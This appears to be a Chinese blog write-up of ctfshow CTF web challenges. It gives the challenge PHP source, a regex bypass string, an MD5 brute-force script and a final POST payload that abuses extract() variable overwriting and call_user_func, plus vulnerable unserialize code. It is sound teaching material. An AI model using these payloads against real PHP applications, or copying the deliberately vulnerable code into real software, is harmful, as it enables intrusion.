ctfshow_djb杯
桐桑又开始摸鱼了 ctfshow的比赛整的一手好活。djb杯。
web1_veryphp
打开就是源码:
1 <?php 2 error_reporting(0); 3 highlight_file(__FILE__); 4 include("config.php"); 5 class qwq 6 { 7 function __wakeup(){ 8 die("Access Denied!"); 9 } 10 static function oao(){ 11 show_source("config.php"); 12 } 13 } 14 $str = file_get_contents("php://input"); 15 if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){ 16 die("I am sorry but you have to leave."); 17 }else{ 18 extract($_POST); 19 } 20 if(isset($shaw_root)){ 21 if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){ 22 echo $hint; 23 }else{ 24 echo "Almost there."."<br>"; 25 } 26 }else{ 27 echo "<br>"."Input correct parameters"."<br>"; 28 die(); 29 } 30 if($ans===$SecretNumber){ 31 echo "<br>"."Congratulations!"."<br>"; 32 call_user_func($my_ans); 33 } 34 35 Input correct parameters
解析代码,在第四行对我们未知的文件config.php进行了包含,我们要去读取config.php就需要去触发qaq这个类中的oao函数。于是我们去尝试触发这个函数。并且我们可以看到在代码第32行出现了究极危险函数call_user_func,这个函数能把后面的参数当成函数进行调用。参数可以是系统函数,也可以是已经定义过的函数。比如我们将这里的$my_ans参数值调为phpinfo(此参数不能含有括号,所以无法执行含有参数的函数),效果和phpinfo()效果是一样的。
之前类中的oao函数就是我们要进行调用的函数,于是可以在此处将参数值设定为qaq::oao就能成功读到config.php。于是我们此时的重点应该放在去控制$my_ans这个参数上面。在前面有一个考点是extract的参数变量覆盖,具体考点百度,于是我们可以通过post参数值对已经存在的参数进行覆盖。要触发危险函数call_user_func需要让$ans和$SecretNumber数值相等。如何相等我们只能去获得22行中的$hint。
用接地气的话来说要获得这个hint很简单但也很操蛋。因为那个正则匹配看起来强的雅痞,但实际上稍微会一些正则匹配就不会被难倒。这里挂一篇wh1sper的文章,讲的很详细足够web手去掌握正则匹配(zmr yyds)http://wh1sper.com/%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0/
放出我的本地bypass吧,其实不能算bypass,因为绕过确实是很简单
1 <?php 2 $str = '-a9<b>wdnmd>>>>kkkkabcphp@Rsd';//payload 3 if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)) { 4 echo 'wdnmd'; 5 } 6 else{ 7 echo 'nice!!!'; 8 }
绕过之后会获得hint,内容是Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
这个md5的值是对已知开头和结尾的字符串的md5加密,看似很nb,实际上只需要去爆破中间的$SecretNumber,因为毕竟是五位数字,也就100000种情况。爆破脚本如下
1 #Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5 2 import hashlib 3 for i in range(1,99999): 4 a = str(i).zfill(5) 5 payload = 'shaw'+a+'root' 6 hl = hashlib.md5() 7 hl.update(payload.encode(encoding='utf-8')) 8 b = hl.hexdigest() 9 10 if b == '166b47a5cb1ca2431a0edfcef200684f': 11 print(a)
其中zfill()就是将不足五位数字的数在数字空缺位置上补零,生成由00000到99999所有的五位数字,爆出来结果是21475
然后post传值覆盖$ans就能成功触发危险函数。并且绕过了黑名单(因为思路正确,和出题人完全一致,通过考点),最终payload:
shaw root=-a9<b>wdnmd>>>>kkkkabcphp@Rsd&ans=21475&my ans=qwq::oao
哦对了还有一个考点:传入参数前shaw_root中间有_过不了正则的限制,这里利用了一个特性,在传入一些非法字符的时候php会把它解析为下划线_,有空格和[和+
web_spaceman
这题。。。出的翻车了,本来打算靠反序列化字符串逃逸的,结果用空格绕过_的conter就能直接对$user_name和$pass_word进行赋值。本身的反序列化字符串逃逸也不是很难。给个源码吧:
1 <?php 2 error_reporting(0); 3 highlight_file(__FILE__); 4 class spaceman 5 { 6 public $username; 7 public $password; 8 public function __construct($username,$password) 9 { 10 $this->username = $username; 11 $this->password = $password; 12 } 13 public function __wakeup() 14 { 15 if($this->password==='ctfshowvip') 16 { 17 include("flag.php"); 18 echo $flag; 19 } 20 else 21 { 22 echo 'wrong password'; 23 } 24 } 25 } 26 function filter($string){ 27 return str_replace('ctfshowup','ctfshow',$string); 28 } 29 $str = file_get_contents("php://input"); 30 if(preg_match('/\_|\.|\]|\[/is',$str)){ 31 die("I am sorry but you have to leave."); 32 }else{ 33 extract($_POST); 34 } 35 $ser = filter(serialize(new spaceman($user_name,$pass_word))); 36 $test = unserialize($ser); 37 ?>
web3|4_虎山行
这两个会在明天的phar反序列化合集中出现。即当你看到这句话的下一天。